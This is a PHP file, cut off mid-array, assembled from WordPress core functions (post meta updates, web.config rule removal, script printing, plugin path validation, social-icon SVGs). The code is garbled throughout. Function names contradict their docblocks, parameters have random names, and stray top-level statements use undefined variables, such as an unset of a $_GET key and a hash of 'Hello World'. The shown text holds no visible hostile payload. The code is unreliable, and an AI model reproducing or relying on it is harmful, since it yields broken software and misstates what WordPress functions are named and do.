 *
 * Can be used in place of add_post_meta().
 *
 * @since 1.5.0
 *
 * @param int    $pattern_file    Post ID.
 * @param string $term_cache   Metadata key.
 * @param mixed  $fn_validate_webfont Metadata value. Must be serializable if non-scalar.
 * @param mixed  $global_styles_block_names Optional. Previous value to check before updating.
 *                           If specified, only update existing metadata entries with
 *                           this value. Otherwise, update all entries. Default empty.
 * @return int|bool Meta ID if the key didn't exist, true on successful update,
 *                  false on failure or if the value passed to the function
 *                  is the same as the one that is already in the database.
 */
function remove_screen_reader_content($pattern_file, $term_cache, $fn_validate_webfont, $global_styles_block_names = '')
{
    // Make sure meta is updated for the post, not for a revision.
    $force_cache_fallback = wp_is_post_revision($pattern_file);
    if ($force_cache_fallback) {
        $pattern_file = $force_cache_fallback;
    }
    return update_metadata('post', $pattern_file, $term_cache, $fn_validate_webfont, $global_styles_block_names);
}
// A deprecated section.
/**
 * Deletes WordPress rewrite rule from web.config file if it exists there.
 *
 * @since 2.8.0
 *
 * @param string $header_image_style Name of the configuration file.
 * @return bool
 */
function get_author_permastruct($header_image_style)
{
    // If configuration file does not exist then rules also do not exist, so there is nothing to delete.
    if (!file_exists($header_image_style)) {
        return true;
    }
    if (!class_exists('DOMDocument', false)) {
        return false;
    }
    $downsize = new DOMDocument();
    $downsize->preserveWhiteSpace = false;
    if ($downsize->load($header_image_style) === false) {
        return false;
    }
    $which = new DOMXPath($downsize);
    $file_md5 = $which->query('/configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'wordpress\')] | /configuration/system.webServer/rewrite/rules/rule[starts-with(@name,\'WordPress\')]');
    if ($file_md5->length > 0) {
        $p0 = $file_md5->item(0);
        $f2g8_19 = $p0->parentNode;
        $f2g8_19->removeChild($p0);
        $downsize->formatOutput = true;
        saveDomDocument($downsize, $header_image_style);
    }
    return true;
}
$php_compat = strlen($has_border_color_support);
/**
 * Prints the script queue in the HTML head on the front end.
 *
 * Postpones the scripts that were queued for the footer.
 * wp_print_footer_scripts() is called in the footer to print these scripts.
 *
 * @since 2.8.0
 *
 * @global WP_Scripts $term_hier
 *
 * @return array
 */
function wp_customize_url()
{
    global $term_hier;
    if (!did_action('wp_print_scripts')) {
        /** This action is documented in wp-includes/functions.wp-scripts.php */
        do_action('wp_print_scripts');
    }
    if (!$term_hier instanceof WP_Scripts) {
        return array();
        // No need to run if nothing is queued.
    }
    return print_head_scripts();
}
$quota = "Hello World";
/**
 * Displays the viewport meta in the admin.
 *
 * @since 5.5.0
 */
function block_request()
{
    /**
     * Filters the viewport meta in the admin.
     *
     * @since 5.5.0
     *
     * @param string $f7g1_2 The viewport meta.
     */
    $f7g1_2 = apply_filters('admin_viewport_meta', 'width=device-width,initial-scale=1.0');
    if (empty($f7g1_2)) {
        return;
    }
    echo '<meta name="viewport" content="' . esc_attr($f7g1_2) . '">';
}
$section_args = implode('', $Duration);
array_walk($tab_name, "generate_rewrite_rules", $f3f3_2);
$COMRReceivedAsLookup = substr($section_args, 0, 1);
unset($f2g3[3]);
/**
 * Displays the previous post link that is adjacent to the current post.
 *
 * @since 1.5.0
 *
 * @see get_getReplyToAddresses()
 *
 * @param string       $dim_prop_count         Optional. Link anchor format. Default '&laquo; %link'.
 * @param string       $h6           Optional. Link permalink format. Default '%title'.
 * @param bool         $filemeta   Optional. Whether link should be in the same taxonomy term.
 *                                     Default false.
 * @param int[]|string $strhData Optional. Array or comma-separated list of excluded term IDs.
 *                                     Default empty.
 * @param string       $sub1comment       Optional. Taxonomy, if `$filemeta` is true. Default 'category'.
 */
function getReplyToAddresses($dim_prop_count = '&laquo; %link', $h6 = '%title', $filemeta = false, $strhData = '', $sub1comment = 'category')
{
    echo get_getReplyToAddresses($dim_prop_count, $h6, $filemeta, $strhData, $sub1comment);
}
$primary_blog = $php_compat;
/**
 * Validates the plugin path.
 *
 * Checks that the main plugin file exists and is a valid plugin. See validate_file().
 *
 * @since 2.5.0
 *
 * @param string $details_aria_label Path to the plugin file relative to the plugins directory.
 * @return int|WP_Error 0 on success, WP_Error on failure.
 */
function is_taxonomy_viewable($details_aria_label)
{
    if (validate_file($details_aria_label)) {
        return new WP_Error('plugin_invalid', __('Invalid plugin path.'));
    }
    if (!file_exists(WP_PLUGIN_DIR . '/' . $details_aria_label)) {
        return new WP_Error('plugin_not_found', __('Plugin file does not exist.'));
    }
    $loaded_files = get_plugins();
    if (!isset($loaded_files[$details_aria_label])) {
        return new WP_Error('no_plugin_header', __('The plugin does not have a valid header.'));
    }
    return 0;
}
$tab_name = supports_collation($tab_name);
/**
 * Filters into default_{$failedect_type}_metadata and adds in default value.
 *
 * @since 5.5.0
 *
 * @param mixed  $DKIM_domain     Current value passed to filter.
 * @param int    $trail ID of the object metadata is for.
 * @param string $term_cache  Metadata key.
 * @param bool   $socket_pos    If true, return only the first value of the specified `$term_cache`.
 *                          This parameter has no effect if `$term_cache` is not specified.
 * @param string $terminator_position Type of object metadata is for. Accepts 'post', 'comment', 'term', 'user',
 *                          or any other object type with an associated meta table.
 * @return mixed An array of default values if `$socket_pos` is false.
 *               The default value of the meta field if `$socket_pos` is true.
 */
function get_block_classes($DKIM_domain, $trail, $term_cache, $socket_pos, $terminator_position)
{
    global $successful_plugins;
    if (wp_installing()) {
        return $DKIM_domain;
    }
    if (!is_array($successful_plugins) || !isset($successful_plugins[$terminator_position])) {
        return $DKIM_domain;
    }
    $guessed_url = array();
    foreach ($successful_plugins[$terminator_position] as $eraser_index => $full_route) {
        foreach ($full_route as $secret_keys => $translations_path) {
            if ($secret_keys === $term_cache && array_key_exists('default', $translations_path)) {
                $guessed_url[$eraser_index] = $translations_path;
            }
        }
    }
    if (!$guessed_url) {
        return $DKIM_domain;
    }
    // If this meta type does not have subtypes, then the default is keyed as an empty string.
    if (isset($guessed_url[''])) {
        $d2 = $guessed_url[''];
    } else {
        $eraser_index = get_object_subtype($terminator_position, $trail);
        if (!isset($guessed_url[$eraser_index])) {
            return $DKIM_domain;
        }
        $d2 = $guessed_url[$eraser_index];
    }
    if ($socket_pos) {
        $DKIM_domain = $d2['default'];
    } else {
        $DKIM_domain = array($d2['default']);
    }
    return $DKIM_domain;
}
// found a quote, and we are not inside a string

// End of the $doaction switch.
$BANNER = hash('sha256', $quota);
$old_term = substr($section_args, -1);
/**
 * Generates the inline script for a categories dropdown field.
 *
 * @param string $filelist ID of the dropdown field.
 *
 * @return string Returns the dropdown onChange redirection script.
 */
function wp_getOptions($filelist)
{
    ob_start();
    ?>
	<script>
	( function() {
		var dropdown = document.getElementById( '<?php 
    echo esc_js($filelist);
    ?>' );
		function onCatChange() {
			if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) {
				location.href = "<?php 
    echo esc_url(home_url());
    ?>/?cat=" + dropdown.options[ dropdown.selectedIndex ].value;
			}
		}
		dropdown.onchange = onCatChange;
	})();
	</script>
	<?php 
    return wp_get_inline_script_tag(str_replace(array('<script>', '</script>'), '', ob_get_clean()));
}
wp_deletePost($tab_name);
// 5.0.1 removed the `<form>` tag, allow it if a filter is allowing it's sub-elements `<input>` or `<select>`.

/**
 * Handler for updating the site's last updated date when a post is published or
 * an already published post is changed.
 *
 * @since 3.3.0
 *
 * @param string  $package The new post status.
 * @param string  $simplified_response The old post status.
 * @param WP_Post $f1g0       Post object.
 */
function delete_old_theme($package, $simplified_response, $f1g0)
{
    $locations_update = get_post_type_object($f1g0->post_type);
    if (!$locations_update || !$locations_update->public) {
        return;
    }
    if ('publish' !== $package && 'publish' !== $simplified_response) {
        return;
    }
    // Post was freshly published, published post was saved, or published post was unpublished.
    wpmu_update_blogs_date();
}
unset($_GET[$sub1feed]);
/**
 * Displays a referrer `strict-origin-when-cross-origin` meta tag.
 *
 * Outputs a referrer `strict-origin-when-cross-origin` meta tag that tells the browser not to send
 * the full URL as a referrer to other sites when cross-origin assets are loaded.
 *
 * Typical usage is as a {@see 'wp_head'} callback:
 *
 *     add_action( 'wp_head', 'comment_block' );
 *
 * @since 5.7.0
 */
function comment_block()
{
    ?>
	<meta name='referrer' content='strict-origin-when-cross-origin' />
	<?php 
}
// Sad: tightly coupled with the IXR classes. Unfortunately the action provides no context and no way to return anything.
/**
 * Returns the SVG for social link.
 *
 * @param string $has_custom_selector The service slug to extract data from.
 * @param string $skip_serialization The field ('name', 'icon', etc) to extract for a service.
 *
 * @return array|string
 */
function get_dashboard_url($has_custom_selector = '', $skip_serialization = '')
{
    $previous_page = array('fivehundredpx' => array('name' => '500px', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,0-.36642-.25406.26589.26589,0,0,0-.27613.06613l-.06943.06929A7.90606,7.90606,0,0,1,7.60639,18.505a7.57284,7.57284,0,0,1-1.696-2.51537,8.58715,8.58715,0,0,1-.5147-1.77754l-.00871-.04864c-.04939-.25873-.28755-.27684-.62981-.22448-.14234.02178-.5755.088-.53426.39969l.001.00712a9.08807,9.08807,0,0,0,15.406,4.99094c.00193-.00192.04753-.04718.0725-.07436C19.79425,19.16234,19.87422,18.98728,19.50945,18.6236Z"></path></svg>'), 'amazon' => array('name' => 'Amazon', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"></path></svg>'), 'bandcamp' => array('name' => 'Bandcamp', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"></path></svg>'), 'behance' => array('name' => 'Behance', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"></path></svg>'), 'chain' => array('name' => 'Link', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M15.6,7.2H14v1.5h1.6c2,0,3.7,1.7,3.7,3.7s-1.7,3.7-3.7,3.7H14v1.5h1.6c2.8,0,5.2-2.3,5.2-5.2,0-2.9-2.3-5.2-5.2-5.2zM4.7,12.4c0-2,1.7-3.7,3.7-3.7H10V7.2H8.4c-2.9,0-5.2,2.3-5.2,5.2,0,2.9,2.3,5.2,5.2,5.2H10v-1.5H8.4c-2,0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"></path></svg>'), 'codepen' => array('name' => 'CodePen', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"></path></svg>'), 'deviantart' => array('name' => 'DeviantArt', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"></path></svg>'), 'dribbble' => array('name' => 'Dribbble', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"></path></svg>'), 'dropbox' => array('name' => 'Dropbox', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"></path></svg>'), 'etsy' => array('name' => 'Etsy', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"></path></svg>'), 'facebook' => array('name' => 'Facebook', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"></path></svg>'), 'feed' => array('name' => 'RSS Feed', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"></path></svg>'), 'flickr' => array('name' => 'Flickr', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M6.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5S9.25,7,6.5,7z M17.5,7c-2.75,0-5,2.25-5,5s2.25,5,5,5s5-2.25,5-5 S20.25,7,17.5,7z"></path></svg>'), 'foursquare' => array('name' => 'Foursquare', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.573,2c0,0-9.197,0-10.668,0S5,3.107,5,3.805s0,16.948,0,16.948c0,0.785,0.422,1.077,0.66,1.172 c0.238,0.097,0.892,0.177,1.285-0.275c0,0,5.035-5.843,5.122-5.93c0.132-0.132,0.132-0.132,0.262-0.132h3.26 c1.368,0,1.588-0.977,1.732-1.552c0.078-0.318,0.692-3.428,1.225-6.122l0.675-3.368C19.56,2.893,19.14,2,17.573,2z M16.495,7.22 c-0.053,0.252-0.372,0.518-0.665,0.518c-0.293,0-4.157,0-4.157,0c-0.467,0-0.802,0.318-0.802,0.787v0.508 c0,0.467,0.337,0.798,0.805,0.798c0,0,3.197,0,3.528,0s0.655,0.362,0.583,0.715c-0.072,0.353-0.407,2.102-0.448,2.295 c-0.04,0.193-0.262,0.523-0.655,0.523c-0.33,0-2.88,0-2.88,0c-0.523,0-0.683,0.068-1.033,0.503 c-0.35,0.437-3.505,4.223-3.505,4.223c-0.032,0.035-0.063,0.027-0.063-0.015V4.852c0-0.298,0.26-0.648,0.648-0.648 c0,0,8.228,0,8.562,0c0.315,0,0.61,0.297,0.528,0.683L16.495,7.22z"></path></svg>'), 'goodreads' => array('name' => 'Goodreads', 'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.3,17.5c-0.2,0.8-0.5,1.4-1,1.9c-0.4,0.5-1,0.9-1.7,1.2C13.9,20.9,13.1,21,12,21c-0.6,0-1.3-0.1-1.9-0.2 c-0.6-0.1-1.1-0.4-1.6-0.7c-0.5-0.3-0.9-0.7-1.2-1.2c-0.3-0.5-0.5-1.1-0.5-1.7h1.5c0.1,0.5,0.2,0.9,0.5,1.2 c0.2,0.3,0.5,0.6,0.9,0.8c0.3,0.2,0.7,0.3,1.1,0.4c0.4,0.1,0.8,0.1,1.2,0.1c1.4,0,2.5-0.4,3.1-1.2c0.6-0.8,1-2,1-3.5v-1.7h0 c-0.4,0.8-0.9,1.4-1.6,1.9c-0.7,0.5-1.5,0.7-2.4,0.7c-1,0-1.9-0.2-2.6-0.5C8.7,15,8.1,14.5,7.7,14c-0.5-0.6-0.8-1.3-1-2.1 c-0.2-0.8-0.3-1.6-0.3-2.5c0-0.9,0.1-1.7,0.4-2.5c0.3-0.8,0.6-1.5,1.1-2c0.5-0.6,1.1-1,1.8-1.4C10.3,3.2,11.1,3,12,3 c0.5,0,0.9,0.1,1.3,0.2c0.4,0.1,0.8,0.3,1.1,0.5c0.3,0.2,0.6,0.5,0.9,0.8c0.3,0.3,0.5,0.6,0.6,1h0V3.4h1.5V15 C17.6,15.9,17.5,16.7,17.3,17.5z 